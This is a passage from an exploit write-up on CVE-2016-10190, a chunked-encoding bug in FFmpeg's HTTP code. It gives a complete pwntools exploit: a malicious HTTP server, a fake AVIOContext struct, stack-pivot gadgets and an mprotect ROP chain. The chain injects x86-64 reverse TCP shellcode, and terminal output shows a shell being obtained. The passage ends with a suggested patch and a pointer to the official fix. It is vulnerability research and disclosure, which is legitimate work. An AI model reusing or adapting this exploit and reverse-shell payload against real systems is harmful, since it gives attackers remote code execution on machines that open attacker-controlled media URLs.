    ropchain = ""
    for counter, i in enumerate(chunks(data, 8)):
        ropchain += p64(pop_rsi)       # Pop the target address into RSI
        ropchain += p64(address_base + (counter * 8)) # Calculate the target
        ropchain += p64(pop_rdx)       # Pop the 8 bytes of data into RDX
        ropchain += i.ljust(8, "\x90") # Make sure the data is aligned on 8 bytes
        ropchain += p64(write_gadget)  # Trigger the write

    return ropchain

def main():
    ...
    # The main ROP chain
    # This will do the following things:
    #  1. mprotect(mprotect_segment, 0x500, PROT_READ | PROT_WRITE | PROT_EXEC)
    #  2. copy shellcode into shellcode_segment
    #  3. jump to shellcode

    # Setup mprotect ROP chain
    payload += p64(pop_rdi)          # Pop the first argument into RDI
    payload += p64(mprotect_segment)
    payload += p64(pop_rsi)          # Pop the second argument into RSI
    payload += p64(mprotect_size)
    payload += p64(pop_rdx)          # Pop the third argument into RDX
    payload += p64(mprotect_prot)
    payload += p64(mprotect_plt)     # Run the mprotect function

    # Write the shellcode into our newly mprotected segment
    payload += generate_mov(mprotect_segment, shellcode)

    # Jump to shellcode
    payload += p64(mprotect_segment)
    ...

Picking the Shellcode

An x86-64 reverse TCP shell by Russell Willis (Shellstorm Link) was chosen for adaptation. A test harness was setup:

#include <stdio.h>

#define IPADDR "\x7f\x01\x01\x01" /* 127.1.1.1 */
#define PORT "\x05\x39" /* 1337 */

unsigned char code[] = \
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
"\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24"
"\x02"PORT"\xc7\x44\x24\x04"IPADDR"\x48\x89\xe6\x6a\x10"
"\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48"
"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a"
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54"
"\x5f\x6a\x3b\x58\x0f\x05";

int
main(void)
{
    printf("Shellcode Length: %d\n", (int)sizeof(code)-1);
    int (*ret)() = (int(*)())code;
    ret();
    return 0;
}

The test harness has to be compiled with the -z execstack flag to allow calling into the shellcode.

$ gcc -zexecstack -o reverseshell reverseshell.c
$

To test this out, we can start a netcat listener on port 1337 and run the harness.

$ ./reverseshell
Shellcode Length: 118

On the netcat end:

$ nc -l -v -p 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [127.0.0.1] port 1337 [tcp/*] accepted (family 2, sport 44496)
id
uid=1000(ubuntu) gid=1000(ubuntu)
groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),
30(dip),44(video),46(plugdev),109(netdev),110(lxd)
uname -a
Linux ubuntu-xenial 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC
2017 x86_64 x86_64 x86_64 GNU/Linux
^C

Now we can just convert this into python:

# Reverse Shell TCP Shellcode adapted from Russell Willis

ip_addr = "127.1.1.1"
ip_addr_packed = socket.inet_aton(ip_addr)
port = 1337
port_packed = p16(port, endian="big")
shellcode = (
        "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" +
        "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" +
        "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" +
        "\x02"+ port_packed + "\xc7\x44\x24\x04" + ip_addr_packed+
        "\x48\x89\xe6\x6a\x10" +
        "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" +
        "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" +
        "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" +
        "\x5f\x6a\x3b\x58\x0f\x05")

Getting the Shell

Now we can compile everything we have into a working exploit:

#!/usr/bin/python

from pwn import *
import time
import socket

# HTTP Headers

headers = """HTTP/1.1 200 OK
Server: PwnServ/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked

"""

# Reverse Shell TCP Shellcode adapted from Russell Willis

ip_addr = "127.1.1.1"
ip_addr_packed = socket.inet_aton(ip_addr)
port = 1337
port_packed = p16(port, endian="big")
shellcode = (
        "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" +
        "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" +
        "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" +
        "\x02"+ port_packed + "\xc7\x44\x24\x04" + ip_addr_packed+
        "\x48\x89\xe6\x6a\x10" +
        "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" +
        "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" +
        "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" +
        "\x5f\x6a\x3b\x58\x0f\x05")

# ROP Gadgets

pop_rsp = 0x00000000004077e9     # pop rsp; ret;
stack_pivot = 0x000000000049daa9 # add rsp, 0x58; ret;
push_rbx_jmp_rdi = 0x000000000117fc75 # push rbx; jmp rdi;

mprotect_segment = 0x01646000
mprotect_size = 0x500
mprotect_prot = 0x1 | 02 | 0x4

pop_rdi = 0x0000000000407c39
pop_rsi = 0x0000000000408b2c
pop_rdx = 0x0000000000408859

write_gadget = 0x0000000000422544 # mov qword ptr [rsi], rdx; ret;

mprotect_plt = 0x4071f0


def generate_mov(address_base, data):
    """Move data into memory startng at the given address_base with a write
    gadget."""

    def chunks(l, n):
        """Yield successive n-sized chunks from l."""
        for i in range(0, len(l), n):
            yield l[i:i + n]

    ropchain = ""
    for counter, i in enumerate(chunks(data, 8)):
        ropchain += p64(pop_rsi)       # Pop the target address into RSI
        ropchain += p64(address_base + (counter * 8)) # Calculate the target
        ropchain += p64(pop_rdx)       # Pop the 8 bytes of data into RDX
        ropchain += i.ljust(8, "\x90") # Make sure the data is aligned on 8 bytes
        ropchain += p64(write_gadget)  # Trigger the write

    return ropchain


def main():
    # Start a listener and wait for a connection from ffmpeg
    p = listen(12345)

    # Start a second listener for the reverse shell
    rev = listen(port)

    # Wait for connection before sending payload
    log.info("Waiting for the victim...")
    p.wait_for_connection()
    log.success("Victim found!")

    # Initialise the ffmpeg instance and prepare it for the bug
    p.send(headers)

    # Trigger the bug with the overly large read
    p.sendline("-1")
    log.info("Bug triggered. Please wait for two seconds...")
    time.sleep(2)   # The sleep allows for a clean transmission boundary

    payload  = "A" * 0x8060     # Padding to start of AVIOContext struct

    # Setup the fake AVIOContext struct for the pivot into attacker controlled
    # memory

    payload += p64(stack_pivot) # [av_class] Pivot stack into controlled m. (3)
    payload += ("A"*8) * 4      # [buffer, buffer_size, buf_ptr, buf_end]
    payload += p64(pop_rsp)     # [opaque] Value in RDI at (1). (2)

    payload += p64(push_rbx_jmp_rdi) # [read_packet] initial RIP control (1)

    payload += ("X"*8) * 3      # [write_packet, seek, pos]
    payload += "AAAA"           # [must_flush]
    payload += p32(0)           # [eof_reached] Must be zero or read terminates
    payload += "A" * 8          # [write_flag, max_packet_size]
    payload += p64(stack_pivot) # [checksum] One more stack pivot (4)
    payload += ("A"*8) * 11     # Padding to set up the stack for the main ROP

    # The main ROP chain
    # This will do the following things:
    #  1. mprotect(mprotect_segment, 0x500, PROT_READ | PROT_WRITE | PROT_EXEC)
    #  2. copy shellcode into shellcode_segment
    #  3. jump to shellcode

    # Setup mprotect ROP chain
    payload += p64(pop_rdi)          # Pop the first argument into RDI
    payload += p64(mprotect_segment)
    payload += p64(pop_rsi)          # Pop the second argument into RSI
    payload += p64(mprotect_size)
    payload += p64(pop_rdx)          # Pop the third argument into RDX
    payload += p64(mprotect_prot)
    payload += p64(mprotect_plt)     # Run the mprotect function

    # Write the shellcode into our newly mprotected segment
    payload += generate_mov(mprotect_segment, shellcode)

    # Jump to shellcode
    payload += p64(mprotect_segment)

    # Send the entire payload
    log.info("Payload sent!")
    p.send(payload)

    # Close the socket to terminate the read on the ffmpeg end to process the
    # shellcode
    p.close()

    # Wait for reverse shell
    log.info("Please wait for your reverse shell.")
    rev.wait_for_connection()
    log.success("Success! Enjoy your shell!")
    rev.interactive()


if __name__ == '__main__':
    main()

To demonstrate that it works we will run the exploit.py script on one terminal to set up the listeners that will deliver the payload and to receive the reverse shell.

$ python exploit.py
[+] Trying to bind to 0.0.0.0 on port 12345: Done
[+] Waiting for connections on 0.0.0.0:12345: Got connection from 127.0.0.1 on
    port 59164
[+] Trying to bind to 0.0.0.0 on port 1337: Done
[+] Waiting for connections on 0.0.0.0:1337: Got connection from 127.0.0.1 on
    port 44406
[*] Waiting for the victim...

On another terminal, we will run ffmpeg with parameters to connect to our listener.

$ ./ffmpeg_debug -i http://127.0.0.1:12345 test.avi
ffmpeg version 3.2.1 Copyright (c) 2000-2016 the FFmpeg developers
  built with gcc 5.4.0 (Ubuntu 5.4.0-6ubuntu1~16.04.4) 20160609
  configuration: --prefix=/home/ubuntu/ffmpeg_build
  --bindir=/home/ubuntu/ffmpeg_bin --disable-stripping
  libavutil      55. 34.100 / 55. 34.100
  libavcodec     57. 64.101 / 57. 64.101
  libavformat    57. 56.100 / 57. 56.100
  libavdevice    57.  1.100 / 57.  1.100
  libavfilter     6. 65.100 /  6. 65.100
  libswscale      4.  2.100 /  4.  2.100
  libswresample   2.  3.100 /  2.  3.100

Back at the exploit script terminal, we can see that the connection has been established, payload has been delivered, and the reverse shell has been started.

[+] Victim found!
[*] Bug triggered. Please wait for two seconds...
[*] Payload sent!
[*] Closed connection to 127.0.0.1 port 59164
[*] Please wait for your reverse shell.
[+] Success! Enjoy your shell!
[*] Switching to interactive mode
$ uname -a
Linux ubuntu-xenial 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC
2017 x86_64 x86_64 x86_64 GNU/Linux
$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),
24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),
109(netdev),110(lxd)
$ echo pwned!
pwned!
$

An asciinema demo may be found at this link: https://asciinema.org/a/6tSnpYAqdUqsvtLhFb7iwxIRT.

Part 3: The Patch

The Simple Patch

This report suggests a simple two-liner solution. The http_read_stream function contains the original code:

1250     if (s->chunksize >= 0) {
1251         if (!s->chunksize) {
1252             char line[32];
1253
1254                 do {
1255                     if ((err = http_get_line(s, line, sizeof(line))) < 0)
1256                         return err;
1257                 } while (!*line);    /* skip CR LF from last chunk */
1258
1259                 s->chunksize = strtoll(line, NULL, 16);
1260

1263
1264                 if (!s->chunksize)
1265                     return 0;
1266         }
1267         size = FFMIN(size, s->chunksize);
1268     }

The suggested patch would be to modify it so that it checks for negative values before assigning the size with FFMIN.

1250     if (s->chunksize >= 0) {
1251         if (!s->chunksize) {
1252             char line[32];
1253
1254                 do {
1255                     if ((err = http_get_line(s, line, sizeof(line))) < 0)
1256                         return err;
1257                 } while (!*line);    /* skip CR LF from last chunk */
1258
1259                 s->chunksize = strtoll(line, NULL, 16);
1260

1263
1264                 if (!s->chunksize)
1265                     return 0;
1266         }
1267
1268         if (s->chunksize > 0) {
1269                 size = FFMIN(size, s->chunksize);
1270         }
1271     }

The diff output between the original code and the patched code:

1267c1267,1270
<         size = FFMIN(size, s->chunksize);
---
>
>     if (s->chunksize > 0) {
>             size = FFMIN(size, s->chunksize);
>     }

We can test the solution by running the crash script from the demonstration section again.

$ python crash.py
[+] Trying to bind to 0.0.0.0 on port 12345: Done
[+] Waiting for connections on 0.0.0.0:12345: Got connection from 127.0.0.1 on
    port 59254
[+] Victim found!
[*] Bug triggered. Please wait for two seconds...
[*] Payload sent!
[*] Closed connection to 127.0.0.1 port 59254

Running the patched ffmpeg shows that the vulnerability no longer occurs.

$ ./ffmpeg-patched -i http://127.0.0.1:12345 test.avi
ffmpeg version 3.2.1 Copyright (c) 2000-2016 the FFmpeg developers
  built with gcc 5.4.0 (Ubuntu 5.4.0-6ubuntu1~16.04.4) 20160609
  configuration: --prefix=/home/ubuntu/patched/ffmpeg_build
                 --bindir=/home/ubuntu/patched/ffmpeg_bin --disable-stripping
  libavutil      55. 34.100 / 55. 34.100
  libavcodec     57. 64.101 / 57. 64.101
  libavformat    57. 56.100 / 57. 56.100
  libavdevice    57.  1.100 / 57.  1.100
  libavfilter     6. 65.100 /  6. 65.100
  libswscale      4.  2.100 /  4.  2.100
  libswresample   2.  3.100 /  2.  3.100
http://127.0.0.1:12345: Connection reset by peer

The Official Patch

The official patch can be found in commit 2a05c8f813de6f2278827734bf8102291e7484aa in the FFmpeg github repository. The developers’ solution was to make all length and offset related variables unsigned to prevent the type confusion issues from occuring.

References

  • http://www.openwall.com/lists/oss-security/2017/02/02/1
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10190
  • https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu
  • http://seclists.org/oss-sec/2017/q1/276
  • https://security.tencent.com/index.php/blog/msg/116
  • http://shell-storm.org/shellcode/files/shellcode-857.php

Leave a Comment